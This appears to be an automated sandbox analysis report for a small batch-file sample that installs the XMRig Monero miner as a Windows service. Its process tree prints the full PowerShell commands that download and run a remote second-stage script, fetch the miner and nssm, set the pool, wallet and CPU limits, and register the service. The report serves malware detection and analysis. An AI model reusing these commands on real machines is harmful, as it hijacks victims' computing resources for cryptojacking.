Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
236s -
max time network
197s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
30/06/2024, 22:17
Static task
static1
Behavioral task
behavioral1
Sample
165512287511542.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
165512287511542.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
165512287511542.bat
Resource
win11-20240508-en
General
-
Target
165512287511542.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 18 IoCs
resource yara_rule behavioral1/files/0x000700000001ac32-130.dat family_xmrig behavioral1/files/0x000700000001ac32-130.dat xmrig behavioral1/memory/4848-133-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-415-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-416-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-417-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-418-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-419-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-420-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-421-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-422-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-423-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-424-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-425-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-426-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-427-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-428-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral1/memory/4864-429-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 2 3036 powershell.exe 5 1700 powershell.exe 8 3624 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 4848 xmrig.exe 4676 nssm.exe 4644 nssm.exe 3876 nssm.exe 3668 nssm.exe 3724 nssm.exe 4536 nssm.exe 4436 nssm.exe 4864 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 8 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2536 sc.exe 4028 sc.exe 1676 sc.exe 1324 sc.exe -
pid Process 2940 powershell.exe 2180 powershell.exe 216 powershell.exe 1788 powershell.exe 1444 powershell.exe 2440 powershell.exe 3036 powershell.exe 1700 powershell.exe 3324 powershell.exe 924 powershell.exe 1304 powershell.exe 4880 powershell.exe 3624 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 3800 timeout.exe 4220 timeout.exe 5000 timeout.exe 1460 timeout.exe 3848 timeout.exe 3384 timeout.exe 4012 timeout.exe 4996 timeout.exe 4912 timeout.exe 2408 timeout.exe 1608 timeout.exe 4112 timeout.exe 1816 timeout.exe 1424 timeout.exe 2536 timeout.exe 1812 timeout.exe 4848 timeout.exe 3212 timeout.exe 5000 timeout.exe 1564 timeout.exe 348 timeout.exe 3800 timeout.exe 3384 timeout.exe 1016 timeout.exe 3492 timeout.exe 3584 timeout.exe 2780 timeout.exe 4908 timeout.exe 2272 timeout.exe 1456 timeout.exe 4860 timeout.exe 2580 timeout.exe 1828 timeout.exe 5028 timeout.exe 2660 timeout.exe 1156 timeout.exe 316 timeout.exe 4896 timeout.exe 3872 timeout.exe 3472 timeout.exe 3696 timeout.exe 4352 timeout.exe 1324 timeout.exe 4432 timeout.exe 4600 timeout.exe 4116 timeout.exe 4652 timeout.exe 4372 timeout.exe 4044 timeout.exe 4600 timeout.exe 3280 timeout.exe 3440 timeout.exe 1096 timeout.exe 1328 timeout.exe 1384 timeout.exe 3456 timeout.exe 4116 timeout.exe 1700 timeout.exe 4056 timeout.exe 4496 timeout.exe 3516 timeout.exe 3344 timeout.exe 2056 timeout.exe 4376 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 4908 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 3036 powershell.exe 3036 powershell.exe 3036 powershell.exe 1700 powershell.exe 1700 powershell.exe 1700 powershell.exe 2180 powershell.exe 2180 powershell.exe 2180 powershell.exe 924 powershell.exe 924 powershell.exe 924 powershell.exe 1304 powershell.exe 1304 powershell.exe 1304 powershell.exe 216 powershell.exe 216 powershell.exe 216 powershell.exe 1788 powershell.exe 1788 powershell.exe 1788 powershell.exe 2940 powershell.exe 2940 powershell.exe 2940 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 2440 powershell.exe 2440 powershell.exe 2440 powershell.exe 4880 powershell.exe 4880 powershell.exe 4880 powershell.exe 3624 powershell.exe 3624 powershell.exe 3624 powershell.exe 3324 powershell.exe 3324 powershell.exe 3324 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3036 powershell.exe Token: SeDebugPrivilege 4908 taskkill.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 2180 powershell.exe Token: SeDebugPrivilege 924 powershell.exe Token: SeDebugPrivilege 1304 powershell.exe Token: SeDebugPrivilege 216 powershell.exe Token: SeDebugPrivilege 1788 powershell.exe Token: SeDebugPrivilege 2940 powershell.exe Token: SeDebugPrivilege 1444 powershell.exe Token: SeDebugPrivilege 2440 powershell.exe Token: SeDebugPrivilege 4880 powershell.exe Token: SeDebugPrivilege 3624 powershell.exe Token: SeDebugPrivilege 3324 powershell.exe Token: SeLockMemoryPrivilege 4864 xmrig.exe Token: SeIncreaseQuotaPrivilege 2408 WMIC.exe Token: SeSecurityPrivilege 2408 WMIC.exe Token: SeTakeOwnershipPrivilege 2408 WMIC.exe Token: SeLoadDriverPrivilege 2408 WMIC.exe Token: SeSystemProfilePrivilege 2408 WMIC.exe Token: SeSystemtimePrivilege 2408 WMIC.exe Token: SeProfSingleProcessPrivilege 2408 WMIC.exe Token: SeIncBasePriorityPrivilege 2408 WMIC.exe Token: SeCreatePagefilePrivilege 2408 WMIC.exe Token: SeBackupPrivilege 2408 WMIC.exe Token: SeRestorePrivilege 2408 WMIC.exe Token: SeShutdownPrivilege 2408 WMIC.exe Token: SeDebugPrivilege 2408 WMIC.exe Token: SeSystemEnvironmentPrivilege 2408 WMIC.exe Token: SeRemoteShutdownPrivilege 2408 WMIC.exe Token: SeUndockPrivilege 2408 WMIC.exe Token: SeManageVolumePrivilege 2408 WMIC.exe Token: 33 2408 WMIC.exe Token: 34 2408 WMIC.exe Token: 35 2408 WMIC.exe Token: 36 2408 WMIC.exe Token: SeIncreaseQuotaPrivilege 2408 WMIC.exe Token: SeSecurityPrivilege 2408 WMIC.exe Token: SeTakeOwnershipPrivilege 2408 WMIC.exe Token: SeLoadDriverPrivilege 2408 WMIC.exe Token: SeSystemProfilePrivilege 2408 WMIC.exe Token: SeSystemtimePrivilege 2408 WMIC.exe Token: SeProfSingleProcessPrivilege 2408 WMIC.exe Token: SeIncBasePriorityPrivilege 2408 WMIC.exe Token: SeCreatePagefilePrivilege 2408 WMIC.exe Token: SeBackupPrivilege 2408 WMIC.exe Token: SeRestorePrivilege 2408 WMIC.exe Token: SeShutdownPrivilege 2408 WMIC.exe Token: SeDebugPrivilege 2408 WMIC.exe Token: SeSystemEnvironmentPrivilege 2408 WMIC.exe Token: SeRemoteShutdownPrivilege 2408 WMIC.exe Token: SeUndockPrivilege 2408 WMIC.exe Token: SeManageVolumePrivilege 2408 WMIC.exe Token: 33 2408 WMIC.exe Token: 34 2408 WMIC.exe Token: 35 2408 WMIC.exe Token: 36 2408 WMIC.exe Token: SeIncreaseQuotaPrivilege 3212 WMIC.exe Token: SeSecurityPrivilege 3212 WMIC.exe Token: SeTakeOwnershipPrivilege 3212 WMIC.exe Token: SeLoadDriverPrivilege 3212 WMIC.exe Token: SeSystemProfilePrivilege 3212 WMIC.exe Token: SeSystemtimePrivilege 3212 WMIC.exe Token: SeProfSingleProcessPrivilege 3212 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4864 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4144 wrote to memory of 3036 4144 cmd.exe 75 PID 4144 wrote to memory of 3036 4144 cmd.exe 75 PID 3036 wrote to memory of 196 3036 powershell.exe 76 PID 3036 wrote to memory of 196 3036 powershell.exe 76 PID 196 wrote to memory of 3324 196 cmd.exe 77 PID 196 wrote to memory of 3324 196 cmd.exe 77 PID 3324 wrote to memory of 2424 3324 net.exe 78 PID 3324 wrote to memory of 2424 3324 net.exe 78 PID 196 wrote to memory of 516 196 cmd.exe 79 PID 196 wrote to memory of 516 196 cmd.exe 79 PID 196 wrote to memory of 3752 196 cmd.exe 80 PID 196 wrote to memory of 3752 196 cmd.exe 80 PID 196 wrote to memory of 3640 196 cmd.exe 81 PID 196 wrote to memory of 3640 196 cmd.exe 81 PID 196 wrote to memory of 4556 196 cmd.exe 82 PID 196 wrote to memory of 4556 196 cmd.exe 82 PID 196 wrote to memory of 2836 196 cmd.exe 83 PID 196 wrote to memory of 2836 196 cmd.exe 83 PID 196 wrote to memory of 1324 196 cmd.exe 84 PID 196 wrote to memory of 1324 196 cmd.exe 84 PID 196 wrote to memory of 2536 196 cmd.exe 85 PID 196 wrote to memory of 2536 196 cmd.exe 85 PID 196 wrote to memory of 4908 196 cmd.exe 86 PID 196 wrote to memory of 4908 196 cmd.exe 86 PID 196 wrote to memory of 1700 196 cmd.exe 88 PID 196 wrote to memory of 1700 196 cmd.exe 88 PID 196 wrote to memory of 2180 196 cmd.exe 89 PID 196 wrote to memory of 2180 196 cmd.exe 89 PID 196 wrote to memory of 924 196 cmd.exe 90 PID 196 wrote to memory of 924 196 cmd.exe 90 PID 196 wrote to memory of 4848 196 cmd.exe 91 PID 196 wrote to memory of 4848 196 cmd.exe 91 PID 196 wrote to memory of 4860 196 cmd.exe 92 PID 196 wrote to memory of 4860 196 cmd.exe 92 PID 4860 wrote to memory of 1304 4860 cmd.exe 93 PID 4860 wrote to memory of 1304 4860 cmd.exe 93 PID 1304 wrote to memory of 316 1304 powershell.exe 94 PID 1304 wrote to memory of 316 1304 powershell.exe 94 PID 196 wrote to memory of 216 196 cmd.exe 95 PID 196 wrote to memory of 216 196 cmd.exe 95 PID 196 wrote to memory of 1788 196 cmd.exe 96 PID 196 wrote to memory of 1788 196 cmd.exe 96 PID 196 wrote to memory of 2940 196 cmd.exe 97 PID 196 wrote to memory of 2940 196 cmd.exe 97 PID 196 wrote to memory of 1444 196 cmd.exe 98 PID 196 wrote to memory of 1444 196 cmd.exe 98 PID 196 wrote to memory of 2440 196 cmd.exe 99 PID 196 wrote to memory of 2440 196 cmd.exe 99 PID 196 wrote to memory of 4880 196 cmd.exe 100 PID 196 wrote to memory of 4880 196 cmd.exe 100 PID 196 wrote to memory of 3624 196 cmd.exe 101 PID 196 wrote to memory of 3624 196 cmd.exe 101 PID 196 wrote to memory of 3324 196 cmd.exe 102 PID 196 wrote to memory of 3324 196 cmd.exe 102 PID 196 wrote to memory of 4028 196 cmd.exe 103 PID 196 wrote to memory of 4028 196 cmd.exe 103 PID 196 wrote to memory of 1676 196 cmd.exe 104 PID 196 wrote to memory of 1676 196 cmd.exe 104 PID 196 wrote to memory of 4676 196 cmd.exe 105 PID 196 wrote to memory of 4676 196 cmd.exe 105 PID 196 wrote to memory of 4644 196 cmd.exe 106 PID 196 wrote to memory of 4644 196 cmd.exe 106 PID 196 wrote to memory of 3876 196 cmd.exe 107 PID 196 wrote to memory of 3876 196 cmd.exe 107
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\165512287511542.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp62F0.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:196 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:2424
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:516
-
-
C:\Windows\system32\where.exewhere find4⤵PID:3752
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:3640
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:4556
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:2836
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:1324
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:2536
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4908
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2180
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:924
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:4848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:316
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Fcxhtlhl\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2940
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3324
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:4028
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:1676
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:4676
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:4644
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:3876
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:3668
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:3724
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:4536
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3516
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1812
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:820
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4056
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4880
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3636
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:32
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4168
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:732
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1788
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3280
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2676
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2616
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4012
-
-
